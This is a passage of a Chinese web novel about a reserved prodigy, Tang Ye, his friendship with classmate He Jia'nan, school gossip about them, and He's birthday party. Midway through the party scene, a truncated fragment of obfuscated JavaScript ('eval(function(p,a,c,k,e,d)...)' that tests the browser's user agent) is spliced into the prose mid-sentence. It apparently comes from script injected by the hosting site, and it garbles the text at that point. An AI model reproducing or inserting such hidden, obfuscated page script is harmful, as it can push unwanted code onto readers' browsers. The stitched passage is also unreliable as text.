才三天?唐天暗暗吃了一惊,但马上装腔作势说:“那还行,比我还是差那么一点儿。” 唐晔突然咧嘴笑了,“好的,哥哥。不过你可要小心,别在你自己最得意的事情上,被我击溃哦!”他幽深的墨蓝眼睛直直穿透唐天的眼睛,慢慢一个字一个字笑着说。 唐天怔了一下。这句台词哪来的,要我怎么接? 爷爷唐万里却突然像是不经意提了一嘴:“山海,秀兰,把小晔带回去与小天一处,两兄弟互相学习吧?” 唐山海马上遵照了父亲的指示。 归秀兰以这孩子健康为由极力反对,唐万里却只是漫不经心地笑笑,言称“以多年战友老归的家教品行,相信媳妇必会善待这名养子。”见提到已逝的父亲,归秀兰只好忍着没发作。 之后,唐晔被送到自己家,他们发生了太多的事。 “他是你那个天才叔叔的遗腹子,你们俩其实也是堂兄弟吧?”何柏文总结说。 “他就是我的亲弟弟。小晔,对吗?”唐天仿佛不放心似地确认。 唐晔刚才一直低着头,闻言抬头对哥哥笑笑,顺从地说:“嗯,是的。” “对了,何嘉南,在学校也拜托你多看着他一点儿。”唐天又说。 “那得让他每天都过来我这儿报到吧,”何嘉南笑着,又转向唐晔,“要不然我和你不同班,怎么看得了你呀?” “好。”唐晔笑容甜美,看向何嘉南的眼睛里闪过一丝期待。 吃完饭,四人互道再见,唐晔跟哥哥坐上的士,回到老东山他们两人的房子。 “二少、三少。”进了高奢豪宅大门,大堂里的几个前台小姐站起来,热情地对着他们招呼。 唐晔微微晗首,就径直走到电梯前。 唐天热情笑着回应着声音甜美又温柔亲切的大姐姐们:“姐姐们好呀!吃过饭了没?我们也吃了呀!吃什么了?哇哦,工作餐还那么丰盛,小心变成胖姐姐!……” 电梯到了,唐晔过来,默默扯着还在前台搭讪的哥哥的衣角一起进了电梯。 “二少爷和三少爷两个真是完全相反的性格,长得也不很像,他们真是双胞胎?”圆脸戴眼镜的前台小姐姐问她同事。 “呵呵,这个嘛,谁知道呢?”看起来比她年长几岁的另一位前台小姐拖长了声音回答。 “哎,我告诉你们,虽然以前一直难得一见三少爷,但传说,他才是老唐总的心头至爱。”又走来了一位穿着灰西装的前台小姐,“哪,我们大门口两边的两幅铜鎏金的松下焚香图,你们知道是谁画的?” “别卖关子了,说嘛。” “就是这位三少爷,唐晔。” “不会吧,一个中学生,国画能画成这样子?” 回到家,兄弟俩各自冲了个澡又进了自己房间,唐晔舒舒服服往床头上一靠,拿过放在床头的电脑,连续按了几个一般人不太常用的键后,一阵温柔的淡蓝色光芒扫过他的眼睛,登录成功。 …… Hi,Nuit!我今天,认识了新的朋友呢! …… 2. 第 2 章 国庆长假在打球打游戏、兴趣班、做作业中,飞速而过,10月8号一早,何嘉南骑车在学校门口遇到他的小学同学、现在初一3班的班长袁雅维。 “早啊!”两个老朋友互道早安,在停车棚停好自行车,两人说说笑笑往前走。 这时,唐晔也在停车棚停好了自己的新自行车,一抬头见到何嘉南缓缓走来,马上露出一个柔柔的笑容,主动打招呼:“何嘉南,早安!” 何嘉南也笑着跟他说了早安。 看见何嘉南身边有个女生,唐晔可能也没留意到是自己班长,也不跟何嘉南多说,一打完招呼马上转身自己走了。 袁雅维口中的“唐晔同学,早安”和何嘉南口中的“我们三人一起走吧”默默的消散在空气中…… “快迟到了吗?”何嘉南问。 “没有啊!”袁雅维说。 “那他干嘛这么赶。”何嘉南莫名其妙。 袁雅维说,“我还想问你呢,你怎么认识我们班这个怪人的?” 何嘉南就把4号那天一起打球的事告诉袁雅维,但隐去了别人家的私事。 袁雅维说:“你们这么有缘!他双胞胎哥哥和何柏文同班?”都是同龄人,袁雅维和何柏文也从小认识,算是一个圈子里的朋友,以前大家常常一起玩。 袁雅维又说:“其实我们班的人觉得他挺怪的。” “是长得有点奇怪,像个外国人,或混血儿。不是,袁雅维,你什么时候开始以貌取人了呀,说人家怪!” “怪——可爱的!哈哈!我不是说外貌啦!是性格挺怪。说他不聪明,说不过去,你知道我们年级就是他入学考试理科和英语全满分吧?但要是说他聪明——反正就是很逗吧!” “咋回事?” “和你说哦,周五下午最后一节数学课结束时,老师给出一道有点难的有理数方程题,本来说布置给我们周末回去思考的,大家都在拼命抄题,唐晔却连题都不抄就收拾东西打算走人。数学老师肯定很生气呀,就叫住他问他怎么回事。结果他回答’老师,我已经做出来了。’人家不但做出来了,还给写了三种解法。换元法和去分母法,是我们刚教过,用是会用,还不太熟,人家还写了一个部分分式法,然后黑板已经写满了,人家还问,老师,需要我用函数图形来解吗?老师连忙表扬说,’你做得很好,可以了。’ 然后星期一,那家伙看到老师表扬过他,就很开心,每次数学课上都抢着上去解题,关键是还全对,有的题目我们还没理解,他就已经抢答出来了,经常还说得出第二第三种解法。后来听说数学老师把他拉去办公室批了一顿……结果后来上课他就一言不发了。” “那是你们老师小心眼儿,不给人家表现的机会。”何嘉南心想,这的确是这个看着呆头呆脑的天才弟弟会做出来的事情。 袁雅维又说:“说他很牛吧,开学那么久,他一个朋友都没交上,独来独往。别人和他说话,他也不怎么搭话。” 何嘉南深以为然,那天也是好不容易才让他开口:“其实他也就是害羞而已。” “你是不是知道他什么事,快告诉我。”袁雅维突然来了兴趣。 “我奇怪的是你干嘛这么关心人家男同学。” “就是作为班长,关心同学,你想啥!哎,说起来他好像住校的呀,怎么现在又骑单车来?搬走了吗?” “他住校?不对吧,我听说他们两兄弟住在老东山那一带,离学校很近,有必要住校吗?” “家住哪儿我不知道了……嗯,不过想想也对,听我们冯老师说,他已经被宿管阿姨投诉了好几次,晚上熄灯时间还在床上玩平板!看来是被宿管阿姨赶走了呗。” 说着说着,上课了,大家各自回去教室。 下课后,何嘉南正准备和同学去打乒乓球,当他拿着球拍冲出教室的时候,突然听到背后有人叫他。他回头一看,咦,正是唐晔。 “哈喽,怎么啦?”何嘉南热情地回应他。 “嗯,没啥事,你不是说课间可以来找你吗?” 这时他的几个球友已经占到空中花园的乒乓球桌了,大声叫,“你快过来呀!” 何嘉南没顾得上继续和他说话,就冲过去一掌拍在桌子上表示“报到”,回头想招呼他也一起过来玩的时候,已经见着他沿着走廊向北绕回自己教室去了。 第二节课课间,班主任把班长何嘉南叫去干活了。 第三个课间,何嘉南过去三班教室找唐晔,他却不在教室,问他周围的同学都不知道他跑哪去了。 第四节课放学后,大家都急匆匆地往饭堂跑去,整个初中部加上老师六百多人,饭堂里人头攒涌,根本就找不到人。 和同学们吃完饭之后,何嘉南又想着去找唐晔,结果他又没在教室午休。他转头正好碰上袁雅维和同学们走回来,一问起,旁边的男同学告诉他,他们3、4班下午是体育课,唐晔免修体育,所以上午放学后已经收拾书包回家了。 “哇哦,这么自由?!”何嘉南随口感叹道。 第二天上午,何嘉南也一直没空。中午他匆匆吃完午饭,还掂记着去找唐晔的事情,走到3班教室时,很多人趴在桌上午休,但唐晔还是不在坐位上。他也不好出声询问,只好转身准备离开。当他一转过头时,正好看到自己要找的人,从走廊那边缓缓走过来。 “何嘉南,”唐晔平静地向他打招呼,“你找谁,要我帮你叫人吗?” “不,我就是来找你的。” 唐晔闻言,脸上一点点在舒展开来,“找我吗?” 正午的阳光落在男孩身上,他的深褐色的发丝像在发光,他光洁雪白的脸、他长而浓密的睫毛、他高挺的鼻梁、翘起的嘴角、就连夏季校服宽敞领口露出的锁骨、都像在发着光一样。 两人随意靠在栏杆上聊天。 “何嘉南,你不睡午觉吗?” “我忙完老师的东西,都快1点了才匆忙去吃的饭,吃完现在都快一点半了,还休啥。” “那我以后每周四帮你打饭吧?” “你怎么这么有空?” “每周四我们三四节是体育,我不用上,可以提早去饭堂。” “太好了!对了,为什么你申请免修体育,还有你那天怎么一打球就喘成那样?” 唐晔想了想,还是决定坦诚相告:“我有点……哮喘,不过这个病不会传染,你放心!”他又急忙补充。 “我知道了,你不用这么紧张!我又不嫌弃你。” “谢谢!” “谢什么!傻子!”何嘉南轻轻拍了拍唐晔的肩膀。 “对了,听袁雅维说你之前住校的?” “9月份住了一个月……平板被没收了……说10点钟要熄灯,不给玩电子产品。”他懦懦地说。 “哈哈,那肯定呀!而且乌漆嘛黑的,对眼睛也不好呀!” “但我睡不着。直到半夜也一直在床上打滚,晚上10点钟睡实在难熬。后来就听我们大姐的劝说,搬到哥哥那儿去住了。” “你们还有个大姐呀?” “嗯,她是爸爸妈妈的大女儿,在外国读书,前几天回国一趟。说自家有房子不住非得住校,太折腾了。” “那是!如果你家不远,还不如回家呢。” “不远,在合群路那边,骑车过来十分钟吧。” “那比我家还近。我家住中大,骑车要20多分钟。有一段路是沿着江边骑的,早上骑车又不热,风清凉清凉的,感觉好好!下午要是时间合适,碰上日落,从上了海印桥开始,看到整条江都是金黄金黄的,心情特别好!” 唐晔甜甜地笑了一下。 “你笑啥?” “没,怪不得你给人的感觉充满阳光。” “哈哈,是吗?” “我前两天也在二沙岛江边练习骑车。不过我才刚学会,比较紧张,根本没法好好欣赏江边的景色。” “你别告诉我你前几天才学会骑单车。” “啊,嗯……很奇怪吗?”唐晔立即抿上嘴巴。 “没没没。”何嘉南觉得这同学真是有趣极了,笑起来时像朵盛开的花,而平时就像棵含羞草,稍一触碰就会缩起来。 “2号那天买了自行车,哥哥教了我一下,但我没学会,膝盖撞淤青了,5号那天去给自行车装了个辅助轮骑了两天,昨天终于可以拆掉了。哥哥说要是骑着有辅助轮的自行车去学校,估计会被人笑一整条街。” “嗯,那的确是挺好笑的。我想想,我小时候学平衡车,反而没有自己的小自行车。好像是幼儿园小班还是中班那一年,不太到5岁,爸妈带我去何柏文家玩,我伯父刚把何柏文的车的辅助轮给拆了,让他骑,他摔了一次不肯再骑,一直哭叫着让他爸把轮子装回去,伯父就让我来试试。我才第一次骑有脚踏的车,大概几分钟吧,只要习惯了两脚蹬脚踏,马上就学会了。” “几分钟吗?”唐晔吃惊地瞪大了他漂亮的大眼睛。 “是啊! 哈哈!不过也是据大人们说的,我哪记得!然后何柏文一见到我会,他又急了,自己跨上车,也不让我伯跟车尾了,也是没过多久,歪歪扭扭几次,便也会了呗!” “真羡慕你们。”漂亮的异域眼睛里流露着憧憬。 “没啥好羡慕的,那时候小,学东西快,上幼儿园时又没事干,不像现在作业那么多,想学啥都没时间。” “还好。” “其实你别怕,有事捏紧刹车,车子马上就停下来了。” “……对,2号那天我就是这么摔的,一捏刹车,车就倒了。” “呃,刹车就马上放脚下来呀!白长那么长的腿了你!看下哪天下午放学有空吧,到时再和你去江边骑车。” “好。”他又露出了很甜的笑。 这两个星期,初一年级的女生们发现了一个新的小确幸:1班班长、出了名的阳光暖男何嘉南,和一个又高又瘦的帅气男生,经常在楼梯口对出的走廊聊得热火朝天。“……一上楼梯,刚好能看到四条大长腿,两两交叠在一起,真是太养眼、太让人喷血了。” “哎,何嘉南边上的那个小哥哥是谁啦?看起来好有气质,又带点不好接近的感觉哦。” “哦哦,那是我们班的唐晔嘛,就是传说中‘这题有三种解法’的那个大学霸,好好笑。虽然他外表冷冷的,但真的超温柔,问他问题每次都超耐心回答。” “讲真,以前他总是一个人在教室角落默默无闻的,现在和何嘉南站一块儿,才发现他们俩竟然差不多高诶。” “诶,你们有没有觉得,唐晔其实超帅的?” “对对对,个子高高的,五官还那么精致。” “侧脸绝了,超有棱角的!简直是撕漫男嘛!眼睛大大的,睫毛还特长。皮肤白白嫩嫩的,有点混血宝宝的感觉~” “还有那下巴线条,我简直可以盯着看好久!” “不过他太瘦了点,何嘉南更赞好吗!太有型了!每次在操场看他打球,都帅毙了!” “嗯嗯,何嘉南也是我的菜,小麦肤色,每次经过他旁边,感觉他整个人都在发光,那种阳光又帅气的感觉,简直让人心动到不行!” “何虽然瘦,但肌肉线条超赞的,给人一种满满的力量感!” “哎呀,两个人风格不同,但都好吸引人哦,我全都爱啦!” “对啊,两个都是校草级别的!” 只可惜磨蹭在他们附近想着有没机会搭句讪、请教一下问题的女孩子们,发现两位大帅哥的话题都不是太好理解。 比如——唐晔手里翻着一本厚厚的书: 何嘉南:“我爸说,量子态就像是一个向量,在希尔伯特空间中演化。” 唐晔:“它其实是一种在量子尺度上展现出独特拓扑性质的物理现象。从数学的角度来说,拓朴量子序涉及到了量子态在拓扑变换下的不变性,这种不变性是由系统的全局性质决定的。” 又比如,何嘉南手里拿着纸和笔,演算着什么给对方看: 唐晔:“……你是说,它将信号从时域转换到频域? 何嘉南:“没错!我爸说时域是我们通常理解的时间轴上的信号变化,而频域则是信号中不同频率的组成。” 还比如,两个人修长的手一边比划着相似的东西,一边激烈地说着—— 何嘉南:“那向量的模长呢?” 唐晔:“模长代表了向量的大小,也就是空间中的一个线段的长度。在几何中,模长经常用于计算两点之间的距离,或者判断一个点是否在某个图形内部。” 何嘉南:“这么说来,向量与几何真的是密不可分啊……” 是挺密不可分的。所以传着传着,传言就变成了—— “知道吗?今天有件神奇的事,唐晔竟然去了’空中花园’打乒乓球诶!” “这有什么奇怪的啦,打乒乓球而已。” “这不是重点,重点是——何嘉南抓着他手臂,拖着他去的啦!然后,何嘉南还要握着唐晔的手,耐心地教他每一个动作——两个人,两只手,十个指头纠缠在一起!” “哇塞!” “啊,说起这个,我记得昨天放学时看到他们两个人在阅览室里,肩膀挨着肩膀一起看书耶。那画面,简直就像是小说里的情节!” “啊,我也看到了!那天在走廊我到他们也是头靠在一起,不知道在听什么,边听边笑,神神秘秘的。” “喂喂,你们说,他们两个,该不会是……那个吧?” “哪个啊?” “就是……那个Gay啊!” “不会吧!!这么养眼的两个帅哥,如果是弯的,那真是太可惜了!” 何嘉南这两天发现,唐晔好像老是躲着他,去他们班找了他几次,都见不着人。 他去上厕所,刚好碰到唐晔从厕所出来。何嘉南笑着说:“原来你在这儿呢,等等我,很快!”说着他和唐晔擦身而过准备走进去。 唐晔却一闪身避开,淡淡地说:“有事吗?” 何嘉南脸上还是洋溢着热情的笑容:“没事啊,就想找你聊聊天,或者下个课间一起打乒乓球。” 唐晔连看都不看他,垂着眼帘小声说:“我没空,你和别人玩吧。” 何嘉南终于发现不对路,问:“你怎么啦?” “没事。”唐晔甩下一句话,便头也不回的走了。 “莫名其妙!” 又是一个周四。中午,何嘉南一下课就冲到饭堂,前两星期他与唐晔约好的,在饭堂进门处左手边不远的桌子,他会趁大队人马来之前帮自己打好饭。他去到的时候,唐晔果然已经坐在那儿等他,桌上只放了一份饭。 “哇!今天的菜式太正点了,你的饭呢?你怎么没打饭呀?” “我吃过了,你慢慢吃吧,我先上去了。”说着唐晔便站起来。 “这么早吃过了?” 唐晔微微张了张嘴没有说话,顿了顿抬腿就走。 何嘉南有些尴尬,但他并没有放弃,他对着唐晔背影叫道:“那放学我们一起骑车回家?” 饭堂里的人逐渐多起来,唐晔终于转过身,走回他旁边,礼貌的俯下身,却冷冷的说:“我没空。你以后不用再来找我了。”说完,他转身大步走开。 何嘉南看着唐晔离去的背影,不明白为什么他会突然间变得这么冷淡,之前明明不是这样的。 回到教室,好友钟小琳神神秘秘的挨过来,在他耳边说,“你和三班的那个唐什么?是不是有什么什么呀?” 提到唐晔,何嘉南有点儿不耐烦的问,“什么什么呀?你在说什么呀?” “这么多年老友,说说嘛!就是那个呀,你和他,你很喜欢他啊?” “对呀,他也很喜欢我呀!我这么万人迷!”何·高·帅·学霸·篮球得分王·嘉南不禁高傲起来。 钟小琳用看透一切的眼神看着他:“嗯——果然是了!”她举起自己的双手,把两根食指勾了起来又贴在一起。 何嘉南的目光从她的脸移动到她的手指上:“你这眼神……不会吧,你该不会以为我和他搞GAY吧?哈哈哈哈!笑死了。” “你以为就我一个人这么认为啊?多少人都这么说了,你们整天呆在一起聊着那些人类完全听不懂的,下课也腻在一起,放学也手碰手肩挨肩一起走,还有人说看到你们在二沙岛江边一起骑单车呢!” “这倒是!和他一起好玩嘛!我们一起讨论复杂的物理学理论问题,很多我都要问我爸才懂,你们又不懂,懒得跟你讲。至于二沙岛还真是一起去过。他那人运动比较渣,才刚学会骑单车不久,我带他去那边练车,那里江边人少车少,风景又不错。” “好浪漫啊,江边骑车,夕阳醉了……这还不能说明问题吗?!” “这能说明啥问题呀?!我要是跟哪个女的在一起玩,传我们CP,我还没那么奇怪。我们两个男的一起,纯粹的钢铁友谊还要被怀疑?有毛病。” “哎哎哎!‘有毛病’的可不止我一个啊,多少人都在传你俩有多般配!连CP名都给你们取好了!” 何嘉南突然来了兴趣,“CP名是啥?” “荷塘月色!” 放学后,唐晔在自己教室里,远远看到何嘉南和同学们下了楼,又等了十来分钟,他才慢慢吞吞收拾东西回家。 当他骑着自行车由大马路准备拐进合群路时,听到路边有人叫他:“喂,唐晔!” 他惊了一大跳,赶紧捏住刹车,“吱”的一声。 何嘉南从街道的另一侧骑了过来,追上了停了一下又正准备离开的唐晔,一把抓住唐晔后腰的校服,语气坚决:“唐晔,我们谈谈!” “危险,你别!”唐晔下了车,把自行车停在路边,靠在河涌边的栏杆上,低着头。 “最近你干嘛不理我?”何嘉南把车停到他的车旁边,自己也站到他身边。 “你是聪明人,消息灵通,难道你没听到别人在传我们什么吗?” “传我们什么,传我们两个人搞GAY?” “你知道了还问我,你不怕吗?” “那你怕吗?” “我有什么怕的,我本来就一个朋友都没有。” “所以呀,你既然只有我唯一一个朋友,那你为什么还要避开我?” “我怕……你介意这种话……” “傻子!”何嘉南又举起手宠溺的摸了摸他的头。这次对于这么亲密的动作,他没有再避开。“要是我的朋友问起我,我肯定会解释清楚。要是不能理解、不相信的,那也不是我的朋友。怎么说,我也不会以伤害无辜的你作为代价,来取悦别的朋友。” 唐晔抬起头来看着他,眼神漉漉。 何嘉南笑着问他:“那,一切照旧?” 唐晔也笑了:“好,一切照旧。” 第二天,当两位大帅哥又一起在走廊聊天的时候,交头接耳仍未停止。像他们这样校草级别的人物,议论声从来不会停歇。 “哎呀,你们别八了行吗。为什么不能只是关系好、聊得来呢?男生之间就不能有纯粹的友情?耽美剧看多了?”一班的“铁齿铜牙小钢炮”钟小琳突然出现在她们后面,翻了个大大的白眼。 唐晔与何嘉南并肩在学校的走廊上,正聊得兴起,何嘉南的一个朋友经过,顺口确认何嘉南的生日派对。 朋友走后,唐晔宝宝很好奇:“你们刚才在说什么‘无胎搜罗’啊?” 何嘉南微微一愣,随即笑着解释道:“母胎SOLO啊,是说我生日是四条一嘛,01年11月1日,他们开玩笑说我一辈子打光棍的意思,哈哈。” 唐晔听了,不禁皱起了眉头,他看着何嘉南,眼神坚定:“我不会让你一个人孤独一辈子。” 何嘉南被唐晔的认真模样逗笑了:“你说到做到哦。” 唐晔认真地看着他:“我会一直在你身边,不会让你感到孤单。” 何嘉南觉得他又像变回前些天刚认识的呆瓜一样,想揉一揉他的头发,但伸出手的那瞬间改成敲一下他的脑袋,笑着说:“行,我记得了。” 当天,由于是第一次单独到同学的家里玩,唐晔紧张兮兮,等到他终于找到何家的门牌号之后,一直紧紧悬着的心脏才放松下来。 他站在外面,仿佛已经听到门里充斥着欢声笑语,他深呼吸了一口,整理一下衣服,上前敲了敲门。 没有人回应。 嗯?许是敲门的姿势不对,他又重新重重地敲了敲门。这次总算有人应答:“谁呀?” 又是一阵踢踢踏踏的声响后,门开了。一位眉眼温柔、穿着得体的漂亮阿姨站在门口。 唐晔刚说了句“阿姨好”,她立即说:“是南南的新同学吧,快进来!”随即招呼他进了屋。 唐晔略为不安的低头说:“抱歉,来迟了。” “没事,今天很多人都是上了兴趣班再来,同学们也才陆陆续续刚到呢!”阿姨笑眯眯的。 唐晔已经被客厅里巨大的哄笑声浪吸引住了。 只见约有十个人已经围坐在客厅的茶几边一起聊着天,听见阿姨叫:“南南,这是你的新同学吗?”大家都不约而同地抬头看过来。 “唐晔,你终于来了!”坐在人群中,今天穿着一件深蓝色、上面有个大大的棕色篮球图案长袖t恤、戴着略有点滑稽的生日帽的何嘉南,一边站起来一边招呼他,“就等你了!快过来!” 他旁边的一位穿着镶着简洁花边的白色T恤、牛仔短裤的女生也惊喜地叫着:“唐晔!你也来了?!” 人群议论纷纷:“这是谁呀?” “我们学校的新同学。” 知道他会跟同学一起,但没想到,一屋子都是!被那么多人注目,一向低调敏感的唐晔紧张起来,他后退了半步,差点踩到了随后进来的何妈妈的脚。 何嘉南走过来把他拉到屋里,一边向大家介绍:“这是袁雅维的同班同学,唐晔”,一边把他按到自己刚才坐着的地方,自己却坐到他右手边的沙发扶手上,指挥刚才坐自己旁边的白衣女生帮忙:“袁雅维,递个纸杯过来,唐晔你喝什么?橙汁?还是奶茶?” 唐晔这才看清右边坐着的白色t恤、扎着卷卷的公主头的女生,正是他们3班的班长袁雅维,他转过脸和袁雅维小声打了招呼。 袁雅维的脸瞬间红了,她低下扎着公主头的小巧头颅,利用侧边垂顺的头发挡住了唐晔的视线,小心翼翼地把空杯子放到唐晔面前。 袁雅维左边穿着一件浅鹅黄花边衬衣的女生,看出了自己闺蜜的害羞,便打趣道:“喂,叫你倒饮料,你给个空杯子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他向唐晔依次介绍在场的人:袁雅维左边的鹅黄衬衣女生是钟小琳,和自己同在1班;她左边略胖乎乎的是2班的王丽云;再左边的平头小个子男生是郑风,4班的。郑风左边的一男一女是华附的新生徐宇航和王嫱。最后是知行的三个人:何柏文、黑衣酷女生叫黎梓茵,他们邻班的陈浩然。这些都是他小学甚至幼儿园开始的同学,大家从小一起玩到大,感情深厚。 坐在客厅后面的饭桌上、一边看杂志一边偷吃着零食的是他爸,中大物理学院院长何西;不停端水果、零食过来的温柔大方的何妈妈黄莺是大学的历史教授。 钟小琳又问,“唐晔,你以前是哪个小学的?你成绩那么好,没理由以前小学那么多省市竞赛都没见过你。” 唐晔记得他学籍上写的是和哥哥一样的私校,便说,“我和唐天小学都读私校,在番禺。” 华附的徐宇航有点不相信地问,“成绩有多好?” 钟小琳说,“学霸,你以为天下就你一个全科大学霸呢?升学考,我们这位帅哥,可是全!满!分!” “我靠!”其他学校的几个人都惊呼起来。大家基本都参加了全部四校的校招考试,都了解每个学校的侧重点与难度。 “上个周末你还跟初三几个师兄师姐一起参加了省数学竞赛是不?”钟·包打听·小琳又说。 “是啊,说差一个人,考前两天临时通知让我去试试的。”唐晔的语气很谦虚,但其他人却觉得他一定是太牛了,学校才敢直接越过初三的替补,去找他这个初一的新生。 “哇,我们都不知道这回事啊!那你考得怎么样?”袁雅维很关心。 “还行吧,有点难。”唐晔斟酌说道。 “这语气,就是不难的意思咯!”钟小琳说。 “我们老师都不跟我们说这事。”郑风说。 “因为我们都不够格呗!”王丽云摇着胖乎乎的手指Say no。 “你入学考连语文也满分?”徐宇航还是有点不死心。 “我……迟到了,没考语文。”唐晔小声说。 “哦?”徐宇航有点儿得意起来。 唐晔接着说,“不过后来面试时抽背了古文,《孟子》的其中一篇,让我口述关于性善论的策论,然后老师们说勉强过关。” “你还懂这个!”袁雅维惊讶,她知道他上次语文月考也是全班第一,但没想到他还能精通古文。 “你当然不知道!”钟小琳揶揄袁雅维,“不过呢,说到考试都能迟到,我总算把另一件事联系起来了。前天我偷听到李主任和你们班冯老师说啊,‘这样的头脑,迟到五次算什么,睁只眼闭只眼就行了,还盼着他这三年都能给我们拿竞赛名次的呢!’说的就是你吧?” 唐晔茫然地看着钟小琳,“我不知道啊。好像有几天是迟了一点。” “牛啊你!十月份上课总共都没十几天,你就迟到五天。”何嘉南说。 “我已经骑得很快了。早上就是起不来我也没办法。”唐晔理所当然的表示。 “果然是读私校出来的,要是公校从小你就被老师骂死了。” 知行的黎梓茵说,“这一点你倒是和你哥很像,整天迟到。不过我们学校是保安登记的,没得回寰,唐天那天才被校长直接拦在校门口批了一大顿。” “那你们两个晚上在家干什么呀,很晚睡吗? ” “嗯,还好吧,习惯了。做作业,画画,弹琴,看书,打游戏。” “还能打游戏?!你们爸妈不管你们吗?” “不怎么管。” “你要是每次都考全校第一,还有人管你,横着走都行吧。” “没有。没那么厉害啦。”唐晔见自己成为众人的焦点,心里越来越紧张,两手更强烈地绞合着。 面对汹涌恶意,他能应对自如,面对同龄人调侃的言语中流露的善意,他却局促不安。 何嘉南眼看着唐晔有点招架不住,便一边护着唐晔的背,一边大声说,“喂喂喂,别再说成绩了好不,不烦么你们,人到齐了,吃蛋糕吧!” 何妈妈从冰箱里捧出个咖啡色上色不太均匀的、看条纹像是半个篮球的大蛋糕,上面还插着何嘉南最喜欢的Q版运动员手办,那塑料小人的衣着和他自己今天的一样,都有个LAKER的标志。 “哇,高比的手办!”何嘉南高兴地喊道。 “喜欢吗?”妈妈笑着问。 “当然喜欢高比,但蛋糕嘛……当然更喜欢啦!谢谢妈妈!” “这周边该不会是正版的吧?!天啊,我妈肯定不舍得。” “蛋糕是阿姨您自己做的呀?好厉害啊!” 大家纷纷表示羡慕妒忌恨!直到何爸爸煞风景地拿出他准备的生日礼物——一整套物理题库时,大家才得意洋洋地露出“活该”的表情。 何嘉南从蛋糕上小心翼翼地拿下Q版小人捧在怀里,何爸爸插上13根蜡烛并点着,大家一边拍着手一边唱生日歌,何嘉南许了愿,深吸一口气一下子把蜡烛吹灭。 何妈妈开了灯,大家纷纷把自己的礼物送到何嘉南面前。 堂兄何柏文送了他一直想要的Boss耳机。何爸爸说,“文仔这么破费!”何柏文说,“我爸赞助的,我只出了零头,嘻嘻。”“南南等下快打电话谢谢伯父,给你破费。”何嘉南开心地应了。 袁雅维送了一个篮球场的乐高积木,说:“拼好了可以把阿姨送的手办摆到上面”,有人送了一套漫画,有人送了游戏光碟,有人又送了一件印着高比头像的T恤,华附的徐宇航和王嫱竟海淘了一件正版的湖人队球衣,把何嘉南高兴得不行不行。 唐晔也从书包里拿出生日礼物,送给何嘉南。 何嘉南一看这近乎纯白的长长扁扁的包装盒,“不会吧?” 唐晔却觉得有点儿抱歉:“对不起,我没有送你篮球的周边,没想到你这么喜欢……” 袁雅维安慰他说,“我们已经和他做了那么多年好朋友,熟悉他的喜好不奇怪呀!我想何嘉南不会在意的……”边说,边和大家凑近一看—— “哇,最新款的iPad pro。” “这配置……怕是要上万块吧。”有人说。 何嘉南看着这价格比一般同学间的互赠还要昂贵许多的礼物,不知道该不该接,毕竟自己是跟他说过想换,但也主要是为了吐槽自己老妈把用旧的东西塞给自己而已。他犹豫了一下,说,“唐晔,我不能收这么贵的礼物。” “嗯,不是很贵……送你了就是你的,你如果实在不喜欢,可以扔掉。哥哥平时也是这样。我没意见。” “你是说,你哥也把别人送的礼物扔掉?”唐天同班的黎梓茵若有所思,“挺有他的风格啊!据说开学不久,校花学姐就跟他表白了……” “不是这意思,我是说,我送哥哥的东西他若不喜欢会扔掉或弄坏而已。别人送他的,我并不清楚。”唐晔露出严谨的眼神回答道,“所以,你若不喜欢,也可以随你的便处置。”他又转向何嘉南说道。 何嘉南转向爸爸妈妈,一是礼物贵重,不敢随便收,二是这新朋友的想法很奇怪,他不知道怎么回答。 何爸想了想说,“同学,这个南南已经有了。或者你留着自己用?” “他跟我说过他的是旧款的,运行起来很慢。” “那给你哥哥用?” “哥哥也有,爸爸妈妈也有,连保姆也在用前几个月我们淘汰的了。嗯反正送他了就是送他了,随意处置吧。”唐晔有点不耐烦地皱起眉,讨厌再次成为众人的焦点。 何西和太太黄莺对视一眼,又对儿子说,“南南,同学们送你的礼物,你都先收下吧。要好好谢谢你的好朋友们!大家都这么费心地给你过生日!”又看向大家:“叔叔阿姨也谢谢你们每一位同学,得你们这么爱护何嘉南,有心了!” 何嘉南真诚地向每位朋友表示感谢。大家也都起哄说,“哎呀,别这么肉麻啦,那么多年,我们还不懂你么!” 唐晔露出羡慕的神色,“你真幸福,从小到大身边有那么多朋友。” “我们也是好朋友啦,大土豪!我生日很快到了,你懂的啦?!”钟小琳向唐晔抛了个媚眼,大家笑了起来,刚才的尴尬气氛缓和下来。 几个同学帮着何嘉南一起把蛋糕分切好。 何嘉南捧起两块最大的,先递了一块给自己妈妈:“老妈,今天辛苦了,谢谢!”然后当着大家的面“啵”亲了妈妈的脸一口。男同学们都起哄了,“哇,羞不羞!”“羡慕死你有个这么好的老妈了,我妈连我喜欢的球星是踢足球还是打篮球的都没搞清楚!” 他来到爸爸身边时,刚好脚滑了一小步,蛋糕被直接怼到爸爸的嘴巴上,威仪的中大物理学院副院长何西博士喜获一圈咖啡色的胡子。 “呃,老爸……哈哈哈哈!”何嘉南尬笑着。 大家哄笑:“啊哈哈哈哈!这就是生日礼物送手办、和送物理题库的差别对待啊!” 何西淡定地保持着风度和微笑先接过蛋糕放在饭桌上,突然一把搂过何嘉南,边拧笑说,“来,好大儿,换我亲你!”说着就把沾满蛋糕的嘴巴往他脸上蹭去。 “啊! 我的新衣服!我的帅脸!”何嘉南哀嚎。 …… Nuit,你知道吗?原来孩子与父母之间可以建立这么亲密的关系。 在最深最甜美的梦境里,我都不曾想象过这样的生活呢。 …… 3. 第 3 章 挣脱出父亲的怀抱,何嘉南回到茶几前,继续把蛋糕切好分给同学们,递给唐晔时,唐晔马上传给旁边的同学们。 何妈妈留意到这个新加入的孩子并没给自己留下蛋糕,便问,“这位同学,你不喜欢吃蛋糕吗?” 这孩子摇了摇头,“抱歉,我不想辜负阿姨的心意,但我奶制品过敏,不能吃奶油。” “原来是这样呀,你等下,阿姨再给你做一份。” “呃,不用了……”唐晔话没说完,何妈妈已经脚步匆匆地跑进厨房,不到几分钟,她捧着另一份完全没有奶油、但用树莓和蓝莓装饰得漂漂亮亮的华夫饼出来了:“来,你尝尝这个,没有一点牛奶和奶油,就是鸡蛋和面粉,加了枫糖浆,应该味道还行,哈哈。” “谢谢阿姨!”他有点不太好意思,但更多的是感动。 